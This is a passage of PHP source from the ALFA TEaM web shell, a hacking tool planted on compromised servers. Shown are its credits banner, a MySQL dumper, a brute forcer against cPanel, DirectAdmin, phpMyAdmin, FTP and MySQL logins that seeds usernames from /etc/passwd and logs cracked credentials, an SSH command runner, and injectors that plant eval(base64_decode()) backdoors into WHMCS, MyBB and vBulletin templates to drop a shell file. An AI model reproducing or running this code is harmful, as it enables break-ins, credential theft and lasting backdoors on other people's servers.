  1716. echo __pre() . "<pre><center><img src='http://solevisible.com/images/farvahar-iran.png'><br><br><b><font size='+3' color='#00A220'>&#9774; ~ PEACE ~ &#9774;</font><b><br><br><font color='#00A220'>Shell Coded By Sole Sad & Invisible (ALFA TEaM)</font><br><br><font color='#00A220'>Contact : solevisible@gmail.com</font><br><br><font color='#00A220'>Telegram Channel: @solevisible</font><br><br><font color='#FFFFFF'>Skype : ehsan.invisible</font><br><br><font color='#FFFFFF'>Skype : sole.sad</font><br><br><font color='#FF0000'>Persian Gulf For Ever</font><br><br><font color='#FF0000'>Iranian Hackers :)</font><br><br><font color='#FF0000'>Our Friends : Mr.PERSIA , R3veC0der</font><br><br></center></pre><iframe src='tg://resolve?domain=solevisible' frameborder='0' width='0' height='0'></iframe>";
  1717. }
  1718. echo ('</div>');
  1719. alfafooter();
  1720. }
  1721. function alfaDumper()
  1722. {
  1723. alfahead();
  1724. echo ('<div class="header">');
  1725. echo "<center><br><div class='txtfont_header'>| Mysql Database Dumper |</div><br><br>" . getConfigHtml('all') . "<form method='post' onsubmit=\"g('dumper',null,null,null,this.db_username.value,this.db_password.value,this.db_name.value,this.dfile.value,this.db_host.value); return false;\"><p>";
  1726. $table = array(
  1727. 'td1' => array(
  1728. 'color' => 'FFFFFF',
  1729. 'tdName' => 'db_host : ',
  1730. 'inputName' => 'db_host',
  1731. 'id' => 'db_host',
  1732. 'inputValue' => 'localhost',
  1733. 'inputSize' => '50'
  1734. ),
  1735. 'td2' => array(
  1736. 'color' => 'FFFFFF',
  1737. 'tdName' => 'db_username : ',
  1738. 'inputName' => 'db_username',
  1739. 'id' => 'db_user',
  1740. 'inputValue' => '',
  1741. 'inputSize' => '50'
  1742. ),
  1743. 'td3' => array(
  1744. 'color' => 'FFFFFF',
  1745. 'tdName' => 'db_password : ',
  1746. 'inputName' => 'db_password',
  1747. 'id' => 'db_pw',
  1748. 'inputValue' => '',
  1749. 'inputSize' => '50'
  1750. ),
  1751. 'td4' => array(
  1752. 'color' => 'FFFFFF',
  1753. 'tdName' => 'db_name : ',
  1754. 'inputName' => 'db_name',
  1755. 'id' => 'db_name',
  1756. 'inputValue' => '',
  1757. 'inputSize' => '50'
  1758. ),
  1759. 'td5' => array(
  1760. 'color' => 'FFFFFF',
  1761. 'tdName' => 'Dump Path: ',
  1762. 'inputName' => 'dfile',
  1763. 'inputValue' => htmlspecialchars($GLOBALS['cwd']) . 'alfa.sql',
  1764. 'inputSize' => '50'
  1765. )
  1766. );
  1767. create_table($table);
  1768. echo "<br><input type='submit' value=' ' name='Submit'></p></form></center>";
  1769. $username = ($_POST['alfa3']);
  1770. $password = ($_POST['alfa4']);
  1771. $dbname = ($_POST['alfa5']);
  1772. $dfile = ($_POST['alfa6']);
  1773. $host = ($_POST['alfa7']);
  1774. if (!empty($dbname)) {
  1775. echo __pre();
  1776. $msg = "<center>Check this : <font color='red'>" . $dfile . "</font></center>";
  1777. if (@mysqli_connect($host, $username, $password, $dbname)) {
  1778. if (strlen(alfaEx("mysqldump")) > 0) {
  1779. alfaEx("mysqldump --single-transaction --host=\"$host\" --user=\"$username\" --password=\"$password\" $dbname > '" . addslashes($dfile) . "'");
  1780. echo ($msg);
  1781. } else {
  1782. __alert("Error...!");
  1783. }
  1784. } else {
  1785. echo ('<center>mysqli_connect : Error!</center>');
  1786. }
  1787. }
  1788. echo ('</div>');
  1789. alfafooter();
  1790. }
  1791. function Alfa_DirectAdmin_Cracker($info)
  1792. {
  1793. if (!$info['mysql'])
  1794. $url = $info['protocol'] . $info['target'] . ':' . $info['port'] . '/CMD_LOGIN';
  1795. else
  1796. $url = $info['protocol'] . $info['target'] . '/phpmyadmin';
  1797. $curl = curl_init();
  1798. curl_setopt($curl, CURLOPT_FOLLOWLOCATION, 1);
  1799. curl_setopt($curl, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 6.2; WOW64; rv:17.0) Gecko/20100101 Firefox/17.0');
  1800. curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, 0);
  1801. curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, 0);
  1802. curl_setopt($curl, CURLOPT_HEADER, 0);
  1803. curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
  1804. curl_setopt($curl, CURLOPT_URL, $url);
  1805. curl_setopt($curl, CURLOPT_USERPWD, $info['username'] . ':' . $info['password']);
  1806. if ($info['mysql'])
  1807. curl_setopt($curl, CURLOPT_HTTPAUTH, CURLAUTH_ANY);
  1808. $result = curl_exec($curl);
  1809. $curl_errno = curl_errno($curl);
  1810. $curl_error = curl_error($curl);
  1811. if ($curl_errno > 0) {
  1812. echo "<font color='red'>Error: $curl_error</font><br>";
  1813. } elseif (preg_match('/CMD_FILE_MANAGER|frameset/i', $result)) {
  1814. echo 'UserName: <font color="red">' . $info['username'] . '</font> PassWord: <font color="red">' . $info['password'] . '</font><font color="green"> Login Success....</font><br>';
  1815. $info['target'] = $url;
  1816. CrackerResualt($info);
  1817. }
  1818. curl_close($curl);
  1819. }
  1820. function Alfa_CP_Cracker($info)
  1821. {
  1822. $url = $info['protocol'] . $info['target'] . ':' . $info['port'];
  1823. $curl = curl_init();
  1824. curl_setopt($curl, CURLOPT_FOLLOWLOCATION, 1);
  1825. curl_setopt($curl, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 6.2; WOW64; rv:17.0) Gecko/20100101 Firefox/17.0');
  1826. curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, 0);
  1827. curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, 0);
  1828. curl_setopt($curl, CURLOPT_HEADER, 0);
  1829. curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
  1830. curl_setopt($curl, CURLOPT_HTTPHEADER, array(
  1831. "Authorization: Basic " . __ZW5jb2Rlcg($info['username'] . ":" . $info['password']) . "\n\r"
  1832. ));
  1833. curl_setopt($curl, CURLOPT_URL, $url);
  1834. $result = curl_exec($curl);
  1835. $curl_errno = curl_errno($curl);
  1836. $curl_error = curl_error($curl);
  1837. if ($curl_errno > 0) {
  1838. echo "<font color='red'>Error: $curl_error</font><br>";
  1839. } elseif (preg_match('/filemanager/i', $result)) {
  1840. echo 'UserName: <font color="red">' . $info['username'] . '</font> PassWord: <font color="red">' . $info['password'] . '</font><font color="green"> Login Success....</font><br>';
  1841. $info['target'] = $url;
  1842. CrackerResualt($info);
  1843. }
  1844. curl_close($curl);
  1845. }
  1846. function Alfa_FTP_Cracker($info)
  1847. {
  1848. $url = $info['protocol'] . $info['target'];
  1849. $curl = curl_init();
  1850. curl_setopt($curl, CURLOPT_URL, $url);
  1851. curl_setopt($curl, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 6.2; WOW64; rv:17.0) Gecko/20100101 Firefox/17.0');
  1852. curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
  1853. curl_setopt($curl, CURLOPT_USERPWD, "" . $info['username'] . ":" . $info['password'] . "");
  1854. $result = curl_exec($curl);
  1855. $curl_errno = curl_errno($curl);
  1856. $curl_error = curl_error($curl);
  1857. if ($curl_errno > 0) {
  1858. echo "<font color='red'>Error: $curl_error</font><br>";
  1859. } elseif (preg_match('/(\d+):(\d+)/i', $result)) {
  1860. echo 'UserName: <font color="red">' . $info['username'] . '</font> PassWord: <font color="red">' . $info['password'] . '</font><font color="green"> Login Success....</font><br>';
  1861. $info['target'] = $url;
  1862. CrackerResualt($info);
  1863. }
  1864. curl_close($curl);
  1865. }
  1866. function Alfa_Mysql_Cracker($info)
  1867. {
  1868. if (@mysqli_connect($info['target'] . ':' . $info['port'], $info['username'], $info['password'])) {
  1869. CrackerResualt($info);
  1870. echo 'UserName: <font color="red">' . $info['username'] . '</font> PassWord: <font color="red">' . $info['password'] . '</font><font color="green"> Login Success....</font><br>';
  1871. }
  1872. }
  1873. function Alfa_FTPC($info)
  1874. {
  1875. if ($con = @ftp_connect($info['target'], $info['port'])) {
  1876. if ($con) {
  1877. $login = @ftp_login($con, $info['username'], $info['password']);
  1878. if ($login) {
  1879. CrackerResualt($info);
  1880. }
  1881. }
  1882. }
  1883. @ftp_close($con);
  1884. }
  1885. function CrackerResualt($info)
  1886. {
  1887. $res = $info['target'] . ' => ' . $info['username'] . ":" . $info['password'] . "\n";
  1888. $c = @fopen($info['fcrack'], 'a+');
  1889. @fwrite($c, $res);
  1890. @fclose($c);
  1891. }
  1892. function Alfa_Call_Function_Cracker($method, $info)
  1893. {
  1894. switch ($method) {
  1895. case 'cp':
  1896. return Alfa_CP_Cracker($info);
  1897. break;
  1898. case 'direct':
  1899. case 'phpmyadmin':
  1900. return Alfa_DirectAdmin_Cracker($info);
  1901. break;
  1902. case 'ftp':
  1903. return Alfa_FTP_Cracker($info);
  1904. break;
  1905. case 'mysql':
  1906. return Alfa_Mysql_Cracker($info);
  1907. break;
  1908. case 'mysql':
  1909. return Alfa_FTPC($info);
  1910. break;
  1911. }
  1912. }
  1913. function alfaCrackers()
  1914. {
  1915. alfahead();
  1916. echo '<div class="header"><center><br><div class="txtfont_header">| Brute Forcer |</div><br><br><form method="post" onsubmit="g(\'Crackers\',null,this.target.value,this.port.value,this.usernames.value,this.passwords.value,this.fcrack.value,\'start\',this.protocol.value,this.loginpanel.value);return false;"><div class="txtfont">Login Page: <select onclick="dis_input(this.value);" name="loginpanel">';
  1917. foreach (array(
  1918. 'cp' => 'Cpanel',
  1919. 'direct' => 'DirectAdmin',
  1920. 'ftp' => 'FTP',
  1921. 'phpmyadmin' => 'PhpMyAdmin[DirectAdmin]',
  1922. 'mysql' => 'mysql_connect()',
  1923. 'ftpc' => 'ftp_connect()'
  1924. ) as $key => $val)
  1925. echo ('<option value="' . $key . '">' . $val . '</option>');
  1926. echo '</select> Protocol: <select id="protocol" name="protocol">';
  1927. foreach (array(
  1928. 'https://',
  1929. 'http://',
  1930. 'ftp://'
  1931. ) as $val)
  1932. echo ('<option value="' . $val . '">' . $val . '</option>');
  1933. echo '</select> Website/ip Address: <input id="target" type="text" name="target" value="localhost">Port: <input id="port" type="text" name="port" value="2083"><table width="30%"><td align="center">Users List</td><td align="center">Passwords</td></table> <textarea placeholder="Users" rows="20" cols="25" name="usernames">' . ($GLOBALS['sys'] == 'unix' ? alfaEx("cut -d: -f1 /etc/passwd") : "") . '</textarea>&nbsp <textarea placeholder="Passwords" rows="20" cols="25" name="passwords"></textarea><br><br>Save Result Into File <input type="text" name="fcrack" value="cracked.txt"><p><input type="submit" name="cracking" value=" " /></div></form></p><center>';
  1934. $target = str_replace(array(
  1935. 'https://',
  1936. 'http://',
  1937. 'ftp://'
  1938. ), '', $_POST['alfa1']);
  1939. $port = $_POST['alfa2'];
  1940. $usernames = $_POST['alfa3'];
  1941. $passwords = $_POST['alfa4'];
  1942. $fcrack = $_POST['alfa5'];
  1943. $cracking = $_POST['alfa6'];
  1944. $protocol = $_POST['alfa7'];
  1945. $loginpanel = $_POST['alfa8'];
  1946. $p = $loginpanel == 'phpmyadmin' ? $p = true : false;
  1947. if ($cracking == 'start') {
  1948. echo __pre();
  1949. $exuser = explode("\n", $usernames);
  1950. $expw = explode("\n", $passwords);
  1951. foreach ($exuser as $user) {
  1952. foreach ($expw as $pw) {
  1953. $array = array(
  1954. 'username' => trim($user),
  1955. 'password' => trim($pw),
  1956. 'port' => trim($port),
  1957. 'target' => trim($target),
  1958. 'protocol' => trim($protocol),
  1959. 'fcrack' => trim($fcrack),
  1960. 'mysql' => $p
  1961. );
  1962. Alfa_Call_Function_Cracker($loginpanel, $array);
  1963. }
  1964. }
  1965. echo '<br><font color="red">Attack Finished...</font>';
  1966. }
  1967. echo '</div>';
  1968. alfafooter();
  1969. }
  1970. function alfassh2()
  1971. {
  1972. if (function_exists('ssh2_connect')) {
  1973. $_SESSION['connected'] = false;
  1974. $ssh_ip = $_POST['alfa1'];
  1975. $ssh_login = $_POST['alfa2'];
  1976. $ssh_pass = $_POST['alfa3'];
  1977. $ssh_port = $_POST['alfa4'];
  1978. $ssh_command = $_POST['alfa5'];
  1979. if ($alfaconnect2ssh = @ssh2_connect($ssh_ip, $ssh_port)) {
  1980. if ($alfalogin = @ssh2_auth_password($alfaconnect2ssh, $ssh_login, $ssh_pass)) {
  1981. $_SESSION['connected'] = true;
  1982. }
  1983. }
  1984. if ($_SESSION['connected'] !== true) {
  1985. alfahead();
  1986. echo "<div class=header>";
  1987. echo "<form name='ssh2' method='post' onsubmit='g(\"ssh2\",null,this.ssh_ip.value,this.ssh_login.value,this.ssh_pass.value,this.ssh_port.value); return false;'><table cellpadding='2' cellspacing='0'><tr><td><font color=\"#ffffff\"><b>IP</b></font></td><td><font color=\"#ffffff\"><b>SSH USER</b></font></td><td><font color=\"#ffffff\"><b>SSH PASS</b></font></td><td><font color=\"#ffffff\"><b>SSH PORT</b></font></td><td></td></tr><tr><td><input type=text name=ssh_ip value=''></td><td><input type=text name=ssh_login value=''></td><td><input type=text name=ssh_pass value=''></td><td><input type=text name=ssh_port value=''></td><td><input type='submit' name='submit' value=' '></td></table></form></div>";
  1988. alfafooter();
  1989. }
  1990. if ($_SESSION['connected'] == true) {
  1991. alfahead();
  1992. echo "<div class=header>";
  1993. echo "<form name='ssh2' method='post' onsubmit='g(\"ssh2\",null,\"" . $ssh_ip . "\",\"" . $ssh_login . "\",\"" . $ssh_pass . "\",\"" . $ssh_port . "\",this.ssh_command.value,\">>\"); return false;'><table cellpadding='2' cellspacing='0'><tr><td><input type=text name=ssh_command value=''></td><td><input type='submit' name='execute' value=' '></td></table></form><form name='ssh2' method='post' onsubmit='g(\'ssh2\',null,\'\',\'\',\'\'); return false;'><input type=submit name='destsession' value='logout'></form>";
  1994. $alfastream = ssh2_exec($alfaconnect2ssh, $ssh_command);
  1995. stream_set_blocking($alfastream, true);
  1996. $output = ssh2_fetch_stream($alfastream, SSH2_STREAM_STDIO);
  1997. if ($_POST['alfa6'] == '>>') {
  1998. echo '<pre class=ml1>';
  1999. ob_start();
  2000. echo stream_get_contents($output);
  2001. echo htmlspecialchars(ob_get_clean());
  2002. }
  2003. echo "</div>";
  2004. alfafooter();
  2005. }
  2006. } else {
  2007. alfahead();
  2008. echo '<div class=header><p><center><b><font color="red">Server does not support SSH2</font><p></b></center></div>';
  2009. alfafooter();
  2010. }
  2011. }
  2012. function output($string)
  2013. {
  2014. echo "<br><pre id=\"strOutput\" style=\"margin-top:5px\" class=\"ml1\"><br><center><font color=red><a target='_blank' href='" . $string . "'>Click Here !</a></font></b></center><br><br>";
  2015. }
  2016. function alfaShellInjectors()
  2017. {
  2018. alfahead();
  2019. echo '<div class=header>';
  2020. echo '<center><p><div class="txtfont_header">| Cms Shell Injector |</div></p><center><h3><a href=javascript:void(0) onclick="g(\'ShellInjectors\',null,\'whmcs\',null)">| WHMCS | </a><a href=javascript:void(0) onclick="g(\'ShellInjectors\',null,null,\'mybb\')">| MyBB | </a><a href=javascript:void(0) onclick="g(\'ShellInjectors\',null,null,null,\'vb\')">| vBulletin |</a></h3></center>';
  2021. $selector = '<p><div class="txtfont">Shell Inject Method : </div> <select name="method" style="width:100px;"><option value="auto">AutoMatic</option><option value="man">Manuel</option></select></p>';
  2022. if (isset($_POST['alfa1']) && $_POST['alfa1'] == 'whmcs') {
  2023. echo __pre() . "<p><div class='txtfont_header'>| WHMCS |</div></p><center><center><p>" . getConfigHtml('whmcs') . "</p><form onSubmit=\"g('ShellInjectors',null,'whmcs',null,null,this.method.value,null,this.dbu.value,this.dbn.value,this.dbp.value,this.dbh.value,this.path.value); return false;\" method='post'>";
  2024. $table = array(
  2025. 'td1' => array(
  2026. 'color' => 'FFFFFF',
  2027. 'tdName' => 'Path WHMCS Url : ',
  2028. 'inputName' => 'path',
  2029. 'inputValue' => 'http://site.com/whmcs',
  2030. 'inputSize' => '50'
  2031. ),
  2032. 'td2' => array(
  2033. 'color' => 'FFFFFF',
  2034. 'tdName' => 'Mysql Host : ',
  2035. 'inputName' => 'dbh',
  2036. 'id' => 'db_host',
  2037. 'inputValue' => 'localhost',
  2038. 'inputSize' => '50'
  2039. ),
  2040. 'td3' => array(
  2041. 'color' => 'FFFFFF',
  2042. 'tdName' => 'Db Name : ',
  2043. 'inputName' => 'dbn',
  2044. 'id' => 'db_name',
  2045. 'inputValue' => '',
  2046. 'inputSize' => '50'
  2047. ),
  2048. 'td4' => array(
  2049. 'color' => 'FFFFFF',
  2050. 'tdName' => 'Db User : ',
  2051. 'inputName' => 'dbu',
  2052. 'id' => 'db_user',
  2053. 'inputValue' => '',
  2054. 'inputSize' => '50'
  2055. ),
  2056. 'td5' => array(
  2057. 'color' => 'FFFFFF',
  2058. 'tdName' => 'Db Pass : ',
  2059. 'inputName' => 'dbp',
  2060. 'id' => 'db_pw',
  2061. 'inputValue' => '',
  2062. 'inputSize' => '50'
  2063. )
  2064. );
  2065. create_table($table);
  2066. echo $selector;
  2067. echo "<p><input type='submit' value=' '></p></form></center></td></tr></table></center>";
  2068. if (isset($_POST['alfa6'])) {
  2069. $dbu = $_POST['alfa6'];
  2070. $dbn = $_POST['alfa7'];
  2071. $dbp = $_POST['alfa8'];
  2072. $dbh = $_POST['alfa9'];
  2073. $path = $_POST['alfa10'];
  2074. $method = $_POST['alfa4'];
  2075. $index = "{php}" . ALFA_UPLOADER . ";{/php}";
  2076. $newin = str_replace("'", "\'", $index);
  2077. $newindex = "<p>Dear $newin,</p><p>Recently a request was submitted to reset your password for our client area. If you did not request this, please ignore this email. It will expire and become useless in 2 hours time.</p><p>To reset your password, please visit the url below:<br /><a href=\"{\$pw_reset_url}\">{\$pw_reset_url}</a></p><p>When you visit the link above, your password will be reset, and the new password will be emailed to you.</p><p>{\$signature}</p>{php}if(\$_COOKIE[\"sec\"] == \"123\"){eval(base64_decode(\$_COOKIE[\"sec2\"])); die(\"!\");}{\/php}";
  2078. if (!empty($dbh) && !empty($dbu) && !empty($dbn) && !empty($index)) {
  2079. if (filter_var($path, FILTER_VALIDATE_URL)) {
  2080. $conn = mysqli_connect($dbh, $dbu, $dbp, $dbn) or die(mysqli_error($conn));
  2081. $soleSave = mysqli_query($conn, "select message from tblemailtemplates where name='Password Reset Validation'");
  2082. $soleGet = mysqli_fetch_assoc($soleSave);
  2083. $tempSave1 = $soleGet['message'];
  2084. $tempSave = str_replace("'", "\'", $tempSave1);
  2085. $inject = "UPDATE tblemailtemplates SET message='$newindex' WHERE name='Password Reset Validation'";
  2086. $result = mysqli_query($conn, $inject) or die(mysqli_error($conn));
  2087. $create = "insert into tblclients (email) values('solevisible@fbi.gov')";
  2088. $result2 = mysqli_query($conn, $create) or die(mysqli_error($conn));
  2089. if (function_exists('curl_version') && $method == 'auto') {
  2090. $AlfaSole = new AlfaCURL(true);
  2091. $saveurl = $AlfaSole->Send($path . "/pwreset.php");
  2092. $getToken = preg_match("/name=\"token\" value=\"(.*?)\"/i", $saveurl, $token);
  2093. $AlfaSole->Send($path . "/pwreset.php", "post", "token={$token[1]}&action=reset&email=solevisible@fbi.gov");
  2094. $backdata = "UPDATE tblemailtemplates SET message='{$tempSave}' WHERE name='Password Reset Validation'";
  2095. $Solevisible = mysqli_query($conn, $backdata) or die(mysqli_error($conn));
  2096. __alert("shell injectet...");
  2097. $ff = 'http://' . $path . "/solevisible.php";
  2098. output($ff);
  2099. } else {
  2100. echo "<br><pre id=\"strOutput\" style=\"margin-top:5px\" class=\"ml1\"><br><center><b><font color=\"#FFFFFF\">Please go to Target => </font><a href='" . $path . "/pwreset.php' target='_blank'>" . $path . "/pwreset.php</a><br/><font color='#FFFFFF'> And Reset Password With Email</font> => <font color=red>solevisible@fbi.gov</font><br/><font color='#FFFFFF'>And Go To => </font><a href='" . $path . "/solevisible.php' target='_blank'>" . $path . "/solevisible.php</a></b></center><br><br>";
  2101. }
  2102. } else {
  2103. __alert('Path is not Valid...');
  2104. }
  2105. }
  2106. }
  2107. }
  2108. if (isset($_POST['alfa2']) && $_POST['alfa2'] == 'mybb') {
  2109. echo __pre() . "<p><div class='txtfont_header'>| MyBB |</div></p><center><center>" . getConfigHtml("mybb") . "<form id='sendajax' onSubmit=\"g('ShellInjectors',null,null,'mybb',null,this.method.value,null,this.dbu.value,this.dbn.value,this.dbp.value,this.dbh.value,this.prefix.value); return false;\" method=POST>
  2110. ";
  2111. $table = array(
  2112. 'td1' => array(
  2113. 'color' => 'FFFFFF',
  2114. 'tdName' => 'Host : ',
  2115. 'inputName' => 'dbh',
  2116. 'id' => 'db_host',
  2117. 'inputValue' => 'localhost',
  2118. 'inputSize' => '50'
  2119. ),
  2120. 'td2' => array(
  2121. 'color' => 'FFFFFF',
  2122. 'tdName' => 'DataBase Name : ',
  2123. 'inputName' => 'dbn',
  2124. 'id' => 'db_name',
  2125. 'inputValue' => '',
  2126. 'inputSize' => '50'
  2127. ),
  2128. 'td3' => array(
  2129. 'color' => 'FFFFFF',
  2130. 'tdName' => 'User Name : ',
  2131. 'inputName' => 'dbu',
  2132. 'id' => 'db_user',
  2133. 'inputValue' => '',
  2134. 'inputSize' => '50'
  2135. ),
  2136. 'td4' => array(
  2137. 'color' => 'FFFFFF',
  2138. 'tdName' => 'Password : ',
  2139. 'inputName' => 'dbp',
  2140. 'id' => 'db_pw',
  2141. 'inputValue' => '',
  2142. 'inputSize' => '50'
  2143. ),
  2144. 'td5' => array(
  2145. 'color' => 'FFFFFF',
  2146. 'tdName' => 'Table Prefix : ',
  2147. 'inputName' => 'prefix',
  2148. 'id' => 'db_prefix',
  2149. 'inputValue' => 'mybb_',
  2150. 'inputSize' => '50'
  2151. )
  2152. );
  2153. create_table($table);
  2154. echo $selector;
  2155. echo "<p><input type=submit value=' '></p></form></center></center>";
  2156. if (isset($_POST['alfa6'])) {
  2157. $dbu = $_POST['alfa6'];
  2158. $dbn = $_POST['alfa7'];
  2159. $dbp = $_POST['alfa8'];
  2160. $dbh = $_POST['alfa9'];
  2161. $prefix = $_POST['alfa10'];
  2162. $method = $_POST['alfa4'];
  2163. $shellCode = "{\${" . ALFA_UPLOADER . "}}";
  2164. $newinshell = str_replace("'", "\'", $shellCode);
  2165. if (!empty($dbh) && !empty($dbu) && !empty($dbn) && !empty($newinshell)) {
  2166. $conn = mysqli_connect($dbh, $dbu, $dbp, $dbn) or die(mysqli_error($conn));
  2167. $inject = "select template from {$prefix}templates where title= 'calendar'";
  2168. $result = mysqli_query($conn, $inject) or die(mysqli_error($conn));
  2169. $GetTemp = mysqli_fetch_assoc($result);
  2170. $saveDate = $GetTemp['template'];
  2171. $repsave = str_replace($shellCode, "", $saveDate);
  2172. $repsave = str_replace("'", "\'", $repsave);
  2173. $createShell = "update {$prefix}templates SET template= '" . $newinshell . $repsave . "' where title = 'calendar'";
  2174. $result2 = mysqli_query($conn, $createShell) or die(mysqli_error($conn));
  2175. $geturl = "select value from {$prefix}settings where name= 'bburl'";
  2176. $findurl = mysqli_query($conn, $geturl) or die(mysqli_error($conn));
  2177. $rowb = mysqli_fetch_assoc($findurl);
  2178. $furl = $rowb['value'];
  2179. $realurl = parse_url($furl, PHP_URL_HOST);
  2180. $realpath = parse_url($furl, PHP_URL_PATH);
  2181. $res = false;
  2182. $AlfaCurl = new AlfaCURL();
  2183. if (extension_loaded('sockets') && function_exists('fsockopen') && $method == 'auto') {
  2184. if ($fsock = @fsockopen($realurl, 80, $errno, $errstr, 10)) {
  2185. @fputs($fsock, "GET $realpath/calendar.php HTTP/1.1\r\n");
  2186. @fputs($fsock, "HOST: $realurl\r\n");
  2187. @fputs($fsock, "Connection: close\r\n\r\n");
  2188. $check = fgets($fsock);
  2189. if (preg_match("/200 OK/i", $check)) {
  2190. $repairdbtemp = "update {$prefix}templates SET template= '$repsave' where title = 'calendar'";
  2191. $clear = mysqli_query($conn, $repairdbtemp) or die(mysqli_error($conn));
  2192. $res = true;
  2193. }
  2194. @fclose($fsock);
  2195. }
  2196. } elseif (function_exists('curl_version') && $method == 'auto') {
  2197. $AlfaCurl->Send($realurl . $realpath . "/calendar.php");
  2198. $res = true;
  2199. }
  2200. if ($res) {
  2201. $ff = 'http://' . $realurl . $realpath . "/solevisible.php";
  2202. output($ff);
  2203. } else {
  2204. $ff = 'http://' . $realurl . $realpath . "/calendar.php";
  2205. $fff = 'http://' . $realurl . $realpath . "/solevisible.php";
  2206. echo "<br><pre id='strOutput' style='margin-top:5px' class='ml1'><br><center><b><font color='#FFFFFF'>Please Go To Target => </font><a href='" . $ff . "' target='_blank'>" . $ff . "</a><br/><font color='#FFFFFF'>And Go To => </font><a href='" . $fff . "' target='_blank'>" . $fff . "</a></b></center><br><br>";
  2207. }
  2208. }
  2209. }
  2210. }
  2211. if (isset($_POST['alfa3']) && $_POST['alfa3'] == 'vb') {
  2212. echo __pre() . '<p><div class="txtfont_header">| vbulletin |</div></p><p>' . getConfigHtml('vb') . '</p><form name="frm" method="POST" onsubmit="g(\'ShellInjectors\',null,null,this.lo.value,\'vb\',this.user.value,this.pass.value,this.tab.value,this.db.value,this.method.value); return false;">';
  2213. $table = array(
  2214. 'td1' => array(
  2215. 'color' => 'FFFFFF',
  2216. 'tdName' => 'Host : ',
  2217. 'inputName' => 'lo',
  2218. 'id' => 'db_host',
  2219. 'inputValue' => 'localhost',
  2220. 'inputSize' => '50'
  2221. ),
  2222. 'td2' => array(
  2223. 'color' => 'FFFFFF',
  2224. 'tdName' => 'DataBase Name : ',
  2225. 'inputName' => 'db',
  2226. 'id' => 'db_name',
  2227. 'inputValue' => '',
  2228. 'inputSize' => '50'
  2229. ),
  2230. 'td3' => array(
  2231. 'color' => 'FFFFFF',
  2232. 'tdName' => 'User Name : ',
  2233. 'inputName' => 'user',
  2234. 'id' => 'db_user',
  2235. 'inputValue' => '',
  2236. 'inputSize' => '50'
  2237. ),
  2238. 'td4' => array(
  2239. 'color' => 'FFFFFF',
  2240. 'tdName' => 'Password : ',
  2241. 'inputName' => 'pass',
  2242. 'id' => 'db_pw',
  2243. 'inputValue' => '',
  2244. 'inputSize' => '50'
  2245. ),
  2246. 'td5' => array(
  2247. 'color' => 'FFFFFF',
  2248. 'tdName' => 'Table Prefix : ',
  2249. 'inputName' => 'tab',
  2250. 'id' => 'db_prefix',
  2251. 'inputValue' => '',
  2252. 'inputSize' => '50'
  2253. )
  2254. );
  2255. create_table($table);
  2256. echo $selector;
  2257. echo '<p><input type="submit" value=" " /></p></form></center>';
  2258. if (isset($_POST['alfa4']) && !empty($_POST['alfa4'])) {
  2259. $method = $_POST['alfa8'];
  2260. $code = "{\${" . ALFA_UPLOADER . "}}{\${exit()}}&";
  2261. $conn = @mysqli_connect($_POST['alfa2'], $_POST['alfa4'], $_POST['alfa5'], $_POST['alfa7']) or die(@mysqli_error($conn));
  2262. $rec = "select `template` from " . $_POST['alfa6'] . "template WHERE title ='faq'";
  2263. $recivedata = @mysqli_query($conn, $rec);
  2264. $getd = @mysqli_fetch_assoc($recivedata);
  2265. $savetoass = $getd['template'];
  2266. $code = str_replace("'", "\'", $code);
  2267. $p = "UPDATE " . $_POST['alfa6'] . "template SET `template`='" . $code . "' WHERE `title`='faq'";
  2268. $ka = @mysqli_query($conn, $p) or die(mysqli_error($conn));
  2269. $geturl = @mysqli_query($conn, "select `value` from " . $_POST['alfa6'] . "setting WHERE `varname`='bburl'");
  2270. $getval = @mysqli_fetch_assoc($geturl);
  2271. $saveval = $getval['value'];
  2272. $realurl = parse_url($saveval, PHP_URL_HOST);
  2273. $realpath = parse_url($saveval, PHP_URL_PATH);
  2274. $res = false;
  2275. $AlfaCurl = new AlfaCURL();
  2276. if (extension_loaded('sockets') && function_exists('fsockopen') && $method == 'auto') {
  2277. if ($fsock = @fsockopen($realurl, 80, $errno, $errstr, 10)) {
  2278. @fputs($fsock, "GET $realpath/faq.php HTTP/1.1\r\n");
  2279. @fputs($fsock, "HOST: $realurl\r\n");
  2280. @fputs($fsock, "Connection: close\r\n\r\n");
  2281. $check = fgets($fsock);
  2282. if (preg_match("/200 OK/i", $check)) {
  2283. $p1 = "UPDATE " . $_POST['alfa6'] . "template SET template ='" . str_replace("'", "\'", $savetoass) . "' WHERE title ='faq'";
  2284. $ka1 = @mysqli_query($conn, $p1) or die(mysqli_error($conn));
  2285. $res = true;
  2286. }
  2287. @fclose($fsock);
  2288. }
  2289. } elseif (function_exists('curl_version') && $method == 'auto') {
  2290. $AlfaCurl->Send($realurl . $realpath . "/faq.php");
  2291. $p1 = "UPDATE " . $_POST['alfa6'] . "template SET template ='" . str_replace("'", "\'", $savetoass) . "' WHERE title ='faq'";
  2292. $ka1 = @mysqli_query($conn, $p1) or die(mysqli_error($conn));
  2293. $res = true;
  2294. }
  2295. if ($res) {
  2296. $ff = 'http://' . $realurl . $realpath . "/solevisible.php";
  2297. output($ff);
  2298. } else {
  2299. $ff = 'http://' . $realurl . $realpath . "/faq.php";
  2300. $fff = 'http://' . $realurl . $realpath . "/solevisible.php";
  2301. echo "<center><p><font color=\"#FFFFFF\">First Open This Link => </font><a href='" . $ff . "' target='_blank'>" . $ff . "</a><br/><font color=\"#FFFFFF\">Second Open This Link => </font><a href='" . $fff . "' target='_blank'>" . $fff . "</a></center></p>";
  2302. }
  2303. }
  2304. }
  2305. echo '</div>';
  2306. alfafooter();
  2307. }
  2308. function alfaupdatepath()
  2309. {
  2310. if ($_POST['path'] != '') {
  2311. $_SESSION[__LAST_CWD__] = $_POST['path'];
  2312. }
  2313. echo ($_SESSION[__LAST_CWD__]);
  2314. }
  2315. function alfacheckfiletype()
  2316. {
  2317. $path = $_POST['path'];
  2318. $arg = $_POST['arg'];
  2319. if (@is_file($path . '/' . $arg)) {
  2320. echo ("file");
  2321. } else {
  2322. echo ("dir");
  2323. }
  2324. }
  2325. function alfacheckupdate()
  2326. {
